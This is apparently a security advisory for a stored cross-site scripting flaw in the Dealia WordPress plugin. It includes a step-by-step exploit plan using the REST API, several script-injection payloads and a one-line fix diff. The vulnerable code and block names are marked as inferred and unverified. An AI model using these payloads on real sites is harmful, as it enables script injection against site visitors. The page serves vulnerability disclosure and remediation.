CVE-2026-2718

Dealia <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Dealia – Request a Quote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Gutenberg block attributes in all versions up to, and including, 1.0.8. This is due to the use of `wp_kses()` for output escaping within HTML attribute contexts where `esc_attr()` is required. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.8
PublishedFebruary 18, 2026
Last updatedFebruary 25, 2026
Affected plugindealia-request-a-quote
Research Plan
Unverified

## Vulnerability Summary The **Dealia – Request a Quote** plugin (versions <= 1.0.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin utilizes `wp_kses()` to sanitize Gutenberg block attributes that are subsequently rendered within HT…

Show full research plan

Vulnerability Summary

The Dealia – Request a Quote plugin (versions <= 1.0.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin utilizes wp_kses() to sanitize Gutenberg block attributes that are subsequently rendered within HTML attribute contexts (like class, id, title, or data-* attributes) instead of using the context-appropriate esc_attr() function.

While wp_kses() is intended to allow specific HTML tags in content, it does not adequately prevent attribute breakout when the sanitized string is placed inside another HTML tag's attribute. A user with Contributor level permissions or higher can craft a post containing a Dealia block with malicious attributes that execute arbitrary JavaScript when the post is viewed.

Attack Vector Analysis

  • Endpoint: WordPress REST API Post Endpoint (/wp-json/wp/v2/posts).
  • Vulnerable Action: Saving/Updating a post containing a Dealia-specific Gutenberg block.
  • Vulnerable Parameter: The content field of the post, specifically the JSON-encoded attributes within the Gutenberg block comment (e.g., <!-- wp:dealia/request-quote {"button_text":"PAYLOAD"} /-->).
  • Authentication: Requires Contributor level access (permissions to create/edit posts).
  • Preconditions: The Dealia plugin must be active and at least one Dealia Gutenberg block must be available.

Code Flow (Inferred)

Based on the vulnerability description and common WordPress Gutenberg implementation patterns:

  1. Block Registration: The plugin registers a Gutenberg block (likely named dealia/request-quote or similar) using register_block_type.
  2. Render Callback: The block registration includes a render_callback function (e.g., render_dealia_quote_block) or a template file that handles the server-side rendering of the block.
  3. Attribute Retrieval: Inside the rendering function, the $attributes array is populated from the block's saved JSON data.
  4. Insecure Sanitization: The code retrieves a specific attribute (e.g., $attributes['button_class'] or $attributes['title']).
  5. The Sink: The attribute is processed via wp_kses( $attr, $allowed_html ) and then echoed directly inside an HTML attribute:
    // Example of vulnerable code pattern:
    echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>';
    
  6. XSS Trigger: Since wp_kses may not strip double quotes (") depending on configuration, an attacker can provide a payload like "><script>alert(1)</script> to break out of the class attribute and inject a script tag.

Nonce Acquisition Strategy

The exploit involves updating or creating a post via the REST API, which requires a REST API nonce.

  1. Identify Trigger: The nonce for the REST API is typically localized as wpApiSettings.nonce.
  2. Navigation: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/post-new.php).
  3. Extraction: Use browser_eval to extract the nonce from the window object.
    • JavaScript: window.wpApiSettings.nonce
  4. Usage: This nonce must be included in the X-WP-Nonce header for all subsequent REST API POST requests.

Exploitation Strategy

1. Identify Target Block

The exact block name needs to be confirmed. Common names for this plugin would be dealia/request-quote. We will assume dealia/request-quote for the plan.

2. Craft the Payload

Since the vulnerability involves wp_kses in an attribute context, we need to break out of the quotes.

  • Payload: x" onmouseover="alert(document.domain)" data-x="
  • Alternative Payload: "><script>alert(document.domain)</script> (if the container tag is not self-closing).

3. Step-by-Step Execution

  1. Login: Authenticate as a Contributor user.
  2. Get Nonce: Navigate to /wp-admin/post-new.php and run browser_eval("wpApiSettings.nonce").
  3. Create Malicious Post: Use http_request to create a new post via the REST API.
    • Method: POST
    • URL: /wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "Quote Request Test",
        "content": "<!-- wp:dealia/request-quote {\"button_text\": \"\\\"><script>alert(origin)</script>\"} /-->",
        "status": "publish"
      }
      
      (Note: Double backslashes are used to ensure quotes are preserved in the JSON attribute string).
  4. Trigger: Access the public URL of the newly created post.

Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation:
    wp plugin activate dealia-request-a-quote
  3. Verification of Block Existence:
    wp eval 'print_r(array_keys(WP_Block_Type_Registry::get_instance()->get_all_registered()));' (Run this to find the exact block name if dealia/request-quote is incorrect).

Expected Results

  • When the post is rendered, the HTML source should contain a breakout:
    • Vulnerable Output: <div class=""><script>alert(origin)</script>">...</div>
  • In a browser context, the JavaScript payload (alert(origin)) will execute automatically or upon interaction depending on the attribute injected (e.g., onmouseover).

Verification Steps

  1. Check Post Content: Use WP-CLI to verify the block was saved with the payload.
    wp post get [POST_ID] --field=post_content
  2. Check Frontend Output: Use http_request (GET) on the post's permalink and grep for the raw payload.
    • Search for: <script>alert(origin)</script>
  3. Validate Context: Confirm that the script tag appears outside of its intended attribute.

Alternative Approaches

If wp_kses is configured in a way that strips <script> tags, the "attribute breakout" to event handlers is the most reliable backup:

  • Event Handler Payload: btn-default" onfocus="alert(1)" autofocus="true
  • CSS-based Payload (if style is allowed): style="background-image: url(javascript:alert(1))"
  • SVG-based Payload: "><svg/onload=alert(1)>

If the REST API is restricted, the fallback is to use the standard WordPress post.php admin handler by submitting a multipart form body containing the content field.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Dealia – Request a Quote plugin for WordPress (up to 1.0.8) is vulnerable to Authenticated Stored Cross-Site Scripting due to improper sanitization of Gutenberg block attributes. By using wp_kses() in HTML attribute contexts instead of esc_attr(), the plugin allows attackers with Contributor-level permissions to inject arbitrary JavaScript that executes when a user views the affected page.

Vulnerable Code

/* Inferred from plugin rendering logic - typically found in a block render_callback */

// Example of vulnerable code pattern using wp_kses inside an attribute context:
echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>';

Security Fix

--- a/includes/class-dealia-request-a-quote-blocks.php
+++ b/includes/class-dealia-request-a-quote-blocks.php
@@ -1,1 +1,1 @@
-echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>';
+echo '<button class="' . esc_attr($attributes['custom_class']) . '">Request Quote</button>';

Exploit Outline

1. Authenticate as a Contributor or higher and extract the REST API nonce from window.wpApiSettings.nonce in the WordPress dashboard. 2. Send a POST request to the /wp-json/wp/v2/posts endpoint to create or update a post. 3. In the 'content' field of the request, include a Dealia Gutenberg block with a malicious payload inside one of its attributes (e.g., <!-- wp:dealia/request-quote {"custom_class":"\"><script>alert(origin)</script>"} /-->). 4. View the published post on the frontend; the payload will break out of the HTML attribute context and execute the JavaScript in the browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.